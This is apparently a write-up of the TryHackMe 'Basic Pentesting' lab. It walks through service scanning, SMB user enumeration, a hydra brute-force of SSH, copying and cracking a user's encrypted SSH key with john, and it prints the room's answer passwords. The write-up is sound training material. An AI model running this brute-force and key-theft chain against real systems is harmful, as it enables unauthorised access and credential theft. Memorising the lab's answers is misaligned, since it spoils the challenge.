Basic Pentesting: Web Clues, Weak Credentials, and an SSH Pivot
Machine: TryHackMe – Basic Pentesting
Introduction
Basic Pentesting is a good example of a machine where the attack surface looks broader than the path that actually matters. The target exposed web services, SMB, SSH, AJP, and Tomcat, and there were enough hints to start thinking about application-layer exploitation early on. In practice, the compromise came from staying close to the evidence: use the web server to collect context, use SMB to confirm users, get a foothold over SSH as jan, and then pivot to kay by recovering and cracking an encrypted private key.
What I liked about this room was that it rewarded filtering. There were several things worth noticing, but only a few of them really moved the attack forward.
Mapping the Target
I started with a full nmap scan to see the exposed services.
nmap -sC -sV -p- -T4 TARGET_IP -oN scan.txt
The important results were:
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8009/tcp open ajp13
8080/tcp open http
That gave me several possible directions. SSH immediately suggested a credential path if I could recover usernames or passwords. The web stack and Tomcat looked interesting, and AJP was worth noting alongside them. Still, at that stage I did not have anything directly actionable against Tomcat or AJP, so I treated them as background leads rather than building the whole approach around them.
The First Useful Clues Came from the Web Server
The main site itself did not reveal much, so I moved to directory enumeration.
gobuster dir -u http://TARGET_IP -w /usr/share/wordlists/dirb/common.txt
That exposed a development directory:
/development
I checked the contents directly:
curl http://TARGET_IP/development/
curl http://TARGET_IP/development/dev.txt
curl http://TARGET_IP/development/j.txt
The key parts were these notes:
I've been messing with that struts stuff...
it's the REST version of the example...
using version 2.5.12...
I've been auditing the contents of /etc/shadow
I was able to crack your hash really easily.
Change that password ASAP
The Struts mention stood out, but it still was not enough to justify forcing an exploit path around it. The stronger clue was the password note. At that point, the exposed SSH service started to look more promising than the application stack. If one of the local users had already chosen a weak password once, SSH was the most direct place to test that idea.
SMB Turned Names into Real Users
Since the notes also mentioned SMB, I checked whether any shares were exposed anonymously.
smbclient -N -L //TARGET_IP
smbclient //TARGET_IP/Anonymous -N
Inside the anonymous share I found a staff.txt file:
Announcement to staff:
PLEASE do not upload non-work-related items to this share
(This means you too, Jan!)
That gave me a real username candidate: jan. The message was signed by Kay, which suggested a second account worth checking.
To confirm that, I ran enum4linux:
enum4linux -a TARGET_IP
The most useful parts were the account names and password policy:
Password Info for Domain: BASIC2
Minimum password length: 5
Password Complexity: Disabled
Unix User\kay
Unix User\jan
Unix User\ubuntu
That was enough to narrow the problem. I now had confirmed local usernames, a weak password policy, and an earlier hint that one user had chosen a crackable password. Tomcat and AJP were still there, but they were not giving me anything as concrete as this.
Turning the Clues into SSH Access
With jan and kay identified, I moved to SSH credential testing.
printf "jan\nkay\n" > users.txt
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4
A full run against rockyou.txt was possible, but it was not especially practical in the way I was using it, so I tightened the scope and focused on jan.
head -500 /usr/share/wordlists/rockyou.txt > fast.txt
hydra -l jan -P fast.txt ssh://TARGET_IP -t 8
This time it returned valid credentials:
[22][ssh] host: TARGET_IP login: jan password: armando
With that in hand, I logged in as jan:
ssh jan@TARGET_IP
The Shell as jan Was Useful, but Not Enough
Once I had a shell, I moved into local enumeration.
cd /home
ls
cd /home/kay
ls
cat pass.bak
sudo -l
ls -la /home/kay
The relevant output looked like this:
cat: pass.bak: Permission denied
Sorry, user jan may not run sudo on ip-...
drwxr-xr-x 2 kay kay 4096 ... .ssh
-rw------- 1 kay kay 57 ... pass.bak
This was the point where the next step became clearer. I could see pass.bak, but I could not read it as jan, and sudo was not available. I could have kept searching for SUID binaries or cron-based escalation, but the .ssh directory in kay’s home was a cleaner lead than the backup file itself. If there was reusable key material there, becoming kay would solve the access problem directly.
Pivoting Cleanly to kay
Inside kay’s .ssh directory I found the private key:
cd /home/kay/.ssh
ls
cat id_rsa
The header showed that it was encrypted:
authorized_keys id_rsa id_rsa.pub
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,...
That made the path fairly straightforward. Instead of trying to bypass file permissions around pass.bak, I could recover the key, crack the passphrase, and authenticate as the user who owned the file.
I copied the key to my machine:
ssh jan@TARGET_IP "cat /home/kay/.ssh/id_rsa" > kay_id_rsa
chmod 600 kay_id_rsa
Then I converted it into a format John could use and cracked the passphrase:
ssh2john kay_id_rsa > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --show hash.txt
John recovered:
kay_id_rsa:beeswax
With the key and passphrase, I could log in as kay:
ssh -i kay_id_rsa kay@TARGET_IP
After entering beeswax, the login succeeded.
Accessing the Protected Backup
Now that I had a shell as kay, the file that was blocked to jan was readable.
cat ~/pass.bak
It contained the final password:
$$heresareallystrongpasswordthatfollowsthepasswordpolicy
Conclusion
The full path on this box was simple once the right leads had been separated from the noisy ones. I used the web server to gather context, confirmed users through SMB and enum4linux, authenticated to SSH as jan, then pivoted to kay by recovering and cracking an encrypted private key before reading pass.bak.
What made the room worth writing up was not the difficulty of any one step. It was the way several small weaknesses lined up across different services. The machine exposed enough technology to invite unnecessary detours, but the reliable path came from following the evidence that kept repeating: usernames, weak passwords, and poor key handling. This is the kind of target where disciplined enumeration matters more than chasing the most exotic-looking service.